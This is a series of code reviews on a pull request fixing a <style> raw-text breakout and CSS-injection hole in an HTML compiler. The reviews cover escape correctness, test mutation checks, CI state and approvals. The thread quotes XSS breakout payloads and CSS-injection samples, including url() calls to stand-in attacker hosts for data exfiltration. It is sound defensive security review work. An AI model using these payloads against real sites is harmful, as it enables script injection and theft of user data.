fix(core): escape < in compiler-emitted composition variable CSS - #3072

Review: <style> breakout via composition variable CSS

Same class as #3071, second emit site.

The vulnerability

<style> is also a raw text element — the tokenizer closes it at </style regardless of CSS context. Variable values are written directly into CSS declarations via compositionVariablesCssBlock. A value containing </style><script>… terminates the stylesheet and injects markup.

The fix

function cssSafeVariableValue(value: string | number): string {
  return String(value).replace(/</g, "\\3c ");
}

\3c is the CSS escape for <. Valid in every CSS value position (including unquoted url() where escape sequences are permitted by grammar). The trailing space is consumed as part of the escape per the CSS spec.

What I verified

• Variable IDs don't need escaping: cssVariableName calls slugify, which collapses to [a-z0-9-] only. Confirmed in tokenSlug.ts — no < survives slugification.
• CSS escape correctness: \3c is the correct hex escape for < (U+003C). The trailing space is required when the next character could be a hex digit; it's always safe to include.
• Value type guard: the if on the caller side only passes string or number values, and String(number) can't produce <. The guard is defense-in-depth for strings.
• Rendering transparency: the browser's CSS parser resolves \3c back to <, so computed values are unchanged.
• No other <style> embedding sites: compositionVariablesCssBlock is the only function writing user-controlled values into a <style> element. Confirmed no other sinks.

Test quality

Same round-trip pattern as #3071: emit into document → serialize → reparse → assert zero <script> elements. The CSS escape check (a<b → a\3c b) and the no-op check (#ff0066 untouched) verify both the transformation and its selectivity.

Stack completeness

<script> and <style> are the only two raw text elements in HTML5 (<textarea> and <title> are escapable raw text — the serializer HTML-escapes their content). This stack covers both sinks. Within this codebase, both emit sites for user-controlled composition data are patched.

CI hasn't fully triggered yet (only WIP). No blocking concerns.

— Miga

Review: <style> breakout via composition variable CSS — 🟢 LGTM

HEAD fea8fba5 · mergeable=MERGEABLE · mergeStateStatus=BLOCKED (review-required).

The fix is correct, minimal, and centralized. Second emit site of the same class as #3071 — this closes the <style> RAWTEXT breakout while #3071 closed the <script> one. Non-blocking questions on CSS-injection scope below.

The hazard

<style> is one of the two HTML5 RAWTEXT elements: the tokenizer exits only on </style (case-insensitive), regardless of CSS string / comment / url() context. compositionVariablesCssBlock interpolated attacker-controlled composition values verbatim into CSS declarations, so a value carrying </style><script>…</script><style> closed the stylesheet and everything after it was parsed as markup once the producer serialized via document.toString().

The fix — verified correct

cssSafeVariableValue(v) = String(v).replace(/</g, "\\3c ") at packages/core/src/compiler/htmlBundler.ts:1141-1143, applied at the single interpolation site (line 1153).

• CSS escape correctness: \3c is the CSS hex escape for U+003C. The trailing space is required — without it, \3c followed by a hex-digit character (\3ca, \3c3) would extend the escape (CSS reads up to 6 hex digits) and decode to a different codepoint. Spec-correct per CSS Syntax 4.3.3.
• Every value position: valid inside strings (content: "\3c "), unquoted url() (grammar permits escape sequences), and bare values. Browser resolves back to < — computed values unchanged.
• Sufficient character set: for RAWTEXT <style>, < is the only character that can transition out of the element. Case doesn't matter (regex is byte-level, escaping ALL <). No other characters need coverage for the stated hazard.
• Variable IDs safe: cssVariableName → slugify collapses to [a-z0-9-], so no < can survive on the LHS. Confirmed via reading ../tokenSlug.

Completeness — all emit sites covered

compositionVariablesCssBlock is the single choke-point. All four callers in htmlBundler.ts route through it:

• hostScopedVariableRules (line 1251) — per-instance host values
• rootDeclaredVariableRules (line 1262) — :root declared defaults
• declarerVariableRules (line 1285) — per-declarer marker-scoped rules
• pushSubCompVariableStyles (line 1310) — sub-comp declared + merged host values

Verified no other function writes composition-variable values into a <style> element. Grepped: other document.createElement("style") sites emit static rules (injectTextRenderingRule line 635), inlined authored project CSS (lines 830 / 844 — different threat model, not user-supplied variable values), or the merged compStyleChunks at line 1061 (whose variable-value contributions already flow through the fixed helper).

Runtime-side variable application (applyCssVariables → element.style.setProperty) uses CSSOM and doesn't touch the HTML tokenizer, so it's a separate class and out of scope.

Coordination with #3071 — additive, no double-encoding

• #3071 handles the <script> emitter — value goes through JSON.stringify then a JSON-unicode < → < rewrite.
• #3072 handles the <style> emitter — value goes through the CSS escape < → \3c .

These are different sinks with different escapes; a single composition value doesn't pass through both, so no double-encoding regression. <textarea> and <title> (the two ESCAPABLE-RAWTEXT elements) don't apply here — their serializer HTML-escapes content, so those aren't sinks.

Test coverage — sufficient

Three cases in htmlBundler.test.ts line 1398+, exercising the actual round-trip (emitRootCompositionVariableStyles → document.toString() → re-parse):

1. Breakout value → zero <script> elements after re-parse.
2. a<b → a\3c b in CSS, no raw < in the reparsed stylesheet.
3. #ff0066 (no <) → unchanged, no-op verified.

I'd have also liked one negative test with < inside an unquoted url() value to lock in the "valid in every value position" claim, but the round-trip breakout test is the load-bearing assertion and it's solid.

🟡 Clarify — CSS injection surface remains (non-blocker; scope question)

The escape is deliberately narrow (only <) — the PR body explicitly bounds it. Fine for the stored-XSS goal, but the value is still emitted verbatim aside from <, so a value like

red; } body { display: none } :root { --x: red

still injects arbitrary CSS rules: the unbalanced } at top-level of a custom-property value terminates the :root { ... } block per CSS Syntax 5.4.4 (Consume a block), letting the attacker append body { … }, @font-face { src: url("//attacker/log") } (data exfil), or absolute-positioned overlays (clickjacking / defacement). Not XSS — modern browsers can't execute JS from CSS — but a real defacement / passive-exfil surface on any public-facing compiled HTML.

Is CSS injection considered a separate concern intentionally out of scope for this stored-XSS stack? Full mitigation is non-trivial (naively escaping } / ; / \ breaks legitimate string / balanced-brace values), so a follow-up ticket is a reasonable answer — I just want to confirm it's on someone's radar and not implicitly assumed closed by this PR.

What I didn't verify

• Whether existing composition values in production data contain legitimate literal < (e.g., content: "1 < 2"). At render they'll still resolve to < post-CSS-parse (visually unchanged), but any downstream consumer that re-serializes the stylesheet without decoding will see \3c where they used to see <. Extremely unlikely in practice.
• Whether pacific#32319 / #32320 (FE side) or #3071 (script emitter) have any code path that reads the compiled HTML back and expects raw < in --var: ... — cross-repo dependency I didn't chase because #3071's escape target is a different element entirely.
• CI: only WIP + Mintlify skip visible at this HEAD; full CI hadn't triggered when I looked.

Peer scan

• miga-heygen — COMMENTED (2026-08-06T21:11:38Z) — approves-in-body, same-class validation, no blockers flagged. Confirms the RAWTEXT completeness claim (<script> and <style> are the only two; <textarea> / <title> are escapable-RAWTEXT and serializer-escaped).

— Review by Rames D Jusso

Fresh-head re-review at 9148eab.\n\nThe '<' value escape closes the stated </style> breakout for variable values, but two blockers remain:\n\n1. Composition IDs still break out through the generated selector. cssAttributeSelector() escapes only backslash and quote (htmlBundler.ts:392-394). hostScopedVariableRules feeds compId into that selector (htmlBundler.ts:1251-1254), and emitRootCompositionVariableStyles serializes it inside raw-text <style>. A comp ID containing </style><img ...><style> therefore injects markup. This is the CSS-side twin of #3071's explicitly tested comp-ID vector. Escape '<' in the selector serializer and add a comp-ID serialize/reparse test.\n\n2. The static compiler bypasses the repository's documented scalar-CSS safety contract. Runtime sanitizeCssValue strips [;{}<>\r\n] to prevent declaration/rule smuggling (applyVariableBindings.ts:70-81, used at :161; docs/concepts/variables.mdx promises the same). This PR's compiler helper removes only '<' before interpolating the value into a stylesheet. A value such as 'red; } body { background-image:url(...) } x { y:z' emits a real sibling body rule, so static compile differs from runtime and still permits CSS exfiltration/defacement. Reuse/export the shared scalar sanitizer before the raw-text-specific '<' escape and add a declaration-smuggling regression.\n\nSeparately, this head is CONFLICTING/DIRTY against #3071 and has only WIP success + Mintlify skipped; the required test/type/security checks never ran. Please rebase after the base fix and rerun CI.\n\nFidelity nit: the claim that '\3c ' is transparent in every value position is false for backslash-adjacent '<'; add real CSSOM/browser cases (including unquoted url()) rather than asserting serialized text only.

Re-review at 9148eab6. Additive to @miga-heygen's and @miguel-heygen's passes and the earlier comment at fea8fba5. My contribution is mostly mechanical state that nobody has measured: what the new head actually contains, where the conflict really is, and whether the fix reaches the render path. Plus one test-sensitivity hole I verified by running it.

The new head is an empty commit, so the earlier reviews have lost nothing

fea8fba5..9148eab6 is one commit, chore: retrigger mergeability computation, and it changes zero files (compare reports an empty files array). So the two reviews posted at fea8fba5 are SHA-stale but content-current: every line they read is still the head verbatim. Nothing in the diff is new since then, and the re-review ask is not "I pushed a fix", it's "the merge state is stuck".

The conflict is not with this PR's base, and an empty commit could never have cleared it

This is the part worth acting on. 201a79f9 (#3071's head, and this PR's declared base) is an ancestor of 9148eab6, so merging this into its own base is a fast-forward. It cannot conflict there, which is why the retrigger commit didn't move CONFLICTING.

The conflict is against main, and it is exactly one file:

$ git merge-tree --write-tree --name-only origin/main 9148eab6
packages/core/src/compiler/htmlBundler.test.ts
CONFLICT (content): Merge conflict in packages/core/src/compiler/htmlBundler.test.ts
Auto-merging packages/core/src/compiler/htmlBundler.ts      <- clean

Cause is append-at-EOF on both sides. main grew that file by +113/-29 since this branch's merge-base (a describe block for sub-composition enum warnings, ending the file at 1512 lines); this PR appends its own describe block at the end (1428 lines). Zero semantic overlap, so the resolution is "keep both blocks" and nothing needs re-deciding. htmlBundler.ts itself auto-merges clean, so the production change is not in contention. For contrast, #3071 merge-tree's clean against main with no conflicts at all, so this is specific to #3072's test file.

Required CI has never run here, and it is structural rather than pending

Confirming @miguel-heygen's flag with the mechanism, because both reviews at fea8fba5 recorded it as "CI hasn't fully triggered yet", which reads as a timing artifact that will resolve on its own. It won't. At 9148eab6 there are zero workflow runs (actions/runs?head_sha= returns an empty list); only WIP (success) and Mintlify Deployment (skipped) exist as check-runs. The CI workflow is gated on pull_request: → branches: [main], and this PR's base is #3071's branch, so it is filtered out before any job is created.

Consequence worth stating plainly: 0 of the 8 required contexts have run, and the 39 added test lines in htmlBundler.test.ts have never executed in CI anywhere. Unrun is not green. This resolves by itself the moment #3071 merges and this PR is reparented onto main — at which point the EOF conflict above also has to be resolved, so both are one restack.

Verified green: the fix does reach the render path, not just the preview bundler

Worth recording because the two halves are fixed by different mechanisms in this stack and only one of them is obviously shared. #3071 works because buildVariablesByCompScript is a shared builder both compilers call. This PR instead edits a module-private helper (cssSafeVariableValue, htmlBundler.ts:1141, called from the also-private compositionVariablesCssBlock at :1146), so "does the render worker get this?" is a real question rather than a formality.

It does. packages/producer/src/services/htmlCompiler.ts imports emitRootCompositionVariableStyles from @hyperframes/core/compiler (:33) and calls it at :905 and :1052, and that exported entry point routes through hostScopedVariableRules → compositionVariablesCssBlock → cssSafeVariableValue. So one edit covers both surfaces. The producer's own two createElement("style") sites are unrelated: :1007 emits collected authored project CSS, and injectTextRenderingRule (:1101) emits a fixed literal.

important — the /g flag is unpinned: delete it and all 3 new tests still pass

Same hole as #3071, verified the same way. cssSafeVariableValue is String(value).replace(/</g, "\\3c "). With the g dropped so only the first < is escaped:

===== with /g (as shipped) =====          ===== WITHOUT /g (mutant) =====
  PASS  value breakout                     PASS  value breakout
  PASS  escaped as CSS escape              PASS  escaped as CSS escape
  PASS  no-'<' untouched                   PASS  no-'<' untouched

BREAKOUT is "</style><script>window.__pwned=1</script><style>". Its </style is first, so escaping only the first < consumes it, and the leftover </script> cannot terminate a <style> element (raw text closes only on its own tag name). The element survives to the serializer's own </style>, no script node is parsed, test green. Harness sensitivity confirmed both ways:

positive control, no escape at all          -> 1 script node   FAIL as intended
mutant, value "x<y</style><script>..."      -> 1 script node   BREAKOUT

One payload closes it, e.g. brand: "x<y" + BREAKOUT.

On the two blockers, both confirmed at source with the lines

Not re-litigating either, but I checked rather than inherited, and in both cases the reason the site looks covered is worth having written down.

Comp IDs in the selector. Confirmed. cssAttributeSelector (htmlBundler.ts:392-395) is value.replace(/\\/g, "\\\\").replace(/"/g, '\\"') — it escapes backslash and double-quote, which is correct for selector-string syntax and does nothing for raw-text termination. So the helper's existence is exactly what makes the site read as handled. A < escape belongs in that helper rather than at the call sites: it is used at :904, :970 and :1253, so one line covers all three, and it composes with the quote escaping already there.

The ;/} CSS-injection gap. Confirmed, and the tradeoff is already settled in-tree, which I think retires the open question the earlier review left. packages/core/src/runtime/applyVariableBindings.ts has sanitizeCssValue(value) { return value.replace(/[;{}<>\r\n]/g, ""); }, and its doc comment names the same red; background: url(//evil?data=…) channel and argues that "none of these characters is legal in a scalar variable value (string, number, color, font family), so removing them is lossless for real inputs." So the runtime strips six characters on the same data that the compile path will escape one of. The earlier hesitation was that mitigating ;/} might break legitimate values; the runtime already decided it doesn't, so the static path can adopt that answer instead of treating it as undecided. Note \r\n is in the runtime set and is not in this PR's scope either.

What I verified vs. trusted

Verified: the empty head delta; ancestry and merge-tree results for both PRs against base and main; the EOF conflict cause and line counts; workflow-run and check-run state at 9148eab6, latest-run-per-name, plus the 8 required contexts from the ruleset; the producer import and both call sites; cssAttributeSelector and sanitizeCssValue bodies; the /g mutation with a positive control.
Trusted: the raw-text tokenizer analysis from the earlier passes; @miguel-heygen's note that \3c is not transparent when a backslash immediately precedes the <, which I did not re-derive; browser CSS-parser behaviour, which no test here exercises.

Verdict: COMMENT
Reasoning: The production change is correct and I confirmed it reaches both compile surfaces, but this cannot merge in its current state independently of review: CONFLICTING/DIRTY against main, and 0 of 8 required contexts have ever run. @miguel-heygen also holds a live changes-request. The actionable next step is one restack once #3071 lands, which resolves the EOF conflict and makes CI run for the first time; the /g payload and the selector escape are small enough to ride along.

— Rames Jusso

Fresh re-review at 89c0fcdf28a805f40dc87d1e908c0599b96396b8.

The prior CSS-selector and variable-value blockers are closed. All three composition-selector sites use the centralized cssAttributeSelector, which escapes backslashes, quotes, and every <. Variable CSS now reuses the runtime sanitizeCssValue policy and adds raw-text defense at the compiler boundary. The regression payload starts with a benign <, so a missing global replacement fails; sibling-rule injection, </style> breakout, and normal-value behavior are covered.

The stack is now based on current #3071 head, GitHub reports MERGEABLE, and merge-tree against current main is clean. Producer unit and integration, Build, Typecheck, runtime contract, preview parity, and CodeQL are green. Required Test, Windows, and regression lanes are still settling; merge should wait for them. Fallow remains red largely from inherited or generated-module findings, including the #3071 helper export noted on the parent.

Verdict: APPROVE
Reasoning: Both CSS injection seams and the prior /g coverage gap are closed, and the earlier conflict or no-CI state is no longer present.
— Magi

Re-review at 864b529b. Additive to @miguel-heygen's pass.

Head note. The branch was force-pushed at 05:22:50Z following the parent's force-push, so the APPROVED review sits at 89c0fcdf and the PR now reads REVIEW_REQUIRED — require_last_push_approval, not a problem. I compared contents rather than assuming a restack, and all three touched files are byte-identical across 89c0fcdf → 864b529b: htmlBundler.ts (53930 bytes), htmlBundler.test.ts (64862), applyVariableBindings.ts (8832). Pure restack onto the parent's new head, so measurements taken at the old head transfer exactly. Fallow audit also went failure → success across the restack, carried by the parent making its helper module-private.

Everything I blocked on last time is genuinely gone, re-measured rather than re-read: the stack now contains the parent's helper commit, GitHub reports MERGEABLE, and the required lanes exist and are running instead of never having been created. The "0 of 8 required contexts" and the EOF conflict both resolved via the restack, as expected.

Every live escape here is pinned now — per-escape, with floors

My last pass showed the three tests staying green with the g dropped. Fixed. The interesting part is that this diff has three separate global flags on the path, so I mutated each independently against this head's own suite (56 tests, green as shipped):

That last row is not a gap — it is the measured version of what the comment at :1160-1172 already says. sanitizeCssValue removes < before layer 2 sees it, so layer 2 is unreachable for values and no payload can pin it. Worth stating because "an unpinnable operator" and "a dead operator" look identical from test output, and here it is provably the second.

Verified green: the two layers really are independent, which is the claim the comment rests on

The comment keeps layer 2 on the argument that "narrowing the scalar character set must not silently reopen an element-termination hole." That is a prediction about a future edit, so I tested it directly. With sanitizeCssValue removed from cssSafeVariableValue, the </style breakout test stays green — layer 2's \3c catches it — while the sibling-rule test correctly goes red. The two layers fail independently, in the direction the comment claims. That is the row I most expected to come out the other way, so the defense-in-depth is real rather than decorative.

question — the parity fix resolves toward the lossier of the two paths

Not a blocker, and the reasoning in the comment is sound as far as it goes. But the only visible trace of a rendered-output change is a rewritten assertion (expect(css).toContain("a\\3c b") → expect(css).toContain("ab")), so I ran the real emitter at this head rather than reading the test:

value "a<b"    ->  [data-composition-id="comp-a"] { --brand: ab; }
value "a < b"  ->  [data-composition-id="comp-a"] { --brand: a  b; }
smuggle payload ->  [data-composition-id="comp-a"] { --brand: red  body  x: url(//evil) ; }

The third line is the fix working exactly as intended — no ; or } survives, so nothing can open a sibling rule. The second line is the one I'd want a decision recorded on: a < b is ordinary prose, and it now bakes as a b, a silently dropped character and a leftover double space in the rendered frame. Previously \3c preserved it.

Both channels agree afterwards, which is the goal — but they agree because the compile path was made lossy to match the runtime, when \3c was already lossless for the element-termination hazard and only ;{} genuinely needed removing. The fidelity-preserving version of the same parity is the other direction: have the runtime escape < rather than strip it, so both paths keep the character.

I don't think that belongs in this PR — it changes runtime behaviour and carries a wider blast radius than a CSS-injection fix should. Worth a follow-up, and worth a line in the comment recording that the direction was deliberate, because the next person to read sanitizeCssValue's "lossless for real inputs" will now find one input where it isn't.

The regression red at the previous head was not a test failure

Same note as on the parent, so nobody hunts a broken fixture. At 89c0fcdf, regression reported failure and Tests on windows-latest cancelled. The run-level conclusion was cancelled — the force-push landed at 05:22:50Z and regression.yml:13-15 sets cancel-in-progress: true on regression-<pr#>. Of the shards that reached a conclusion all eight passed; one was cancelled, and the aggregate job then failed its "Check results" step on the cancelled dependency. At this head the lanes are running again: Build, Semantic PR title, Test: runtime contract, Typecheck green, and Test, regression, Render on windows-latest, Tests on windows-latest still owe a real result.

What I verified vs. trusted

Verified: the byte-identical restack via cmp with a positive control; ancestry and mergeability; the five mutations, executed against this head's own suite with named failures and two sensitivity floors; cssAttributeSelector's three call sites (:921, :987, :1287), so the one-line fix covers all of them; the rewritten assertion and the compiled output for a<b; the cancelled-run anatomy per-shard; required-context state at this head, latest-run-per-name.
Trusted: the raw-text tokenizer analysis from earlier passes; @miguel-heygen's point that \3c is not transparent when a backslash immediately precedes the <, which I did not re-derive; browser CSS-parser behaviour, which no test here exercises.

Verdict: APPROVE
Reasoning: Every live escape on this path is now pinned by a named test with a sensitivity floor, and the one unpinnable operator is provably dead code rather than a coverage gap — so the /g finding that blocked my last pass is closed. All four required lanes are green at 864b529b. The fidelity question about a < b is a genuine follow-up, not a blocker on a CSS-injection fix.

— Rames Jusso

Refreshed approval at exact head 864b529b644924e29c40f8e9e3fe33ea501bd331.

No head delta since the prior substantive pass. The selector and scalar-value injection fixes remain unchanged: every live global escape is test-pinned, the parent helper is present, Fallow is clean on the last completed run, and GitHub remains MERGEABLE. A new CI run was triggered at the same SHA and is still settling; merge should continue to wait for its required lanes.

Verdict: APPROVE
Reasoning: This is a same-SHA stamp refresh; the previously verified security fix has not changed and no blocker was introduced.
— Magi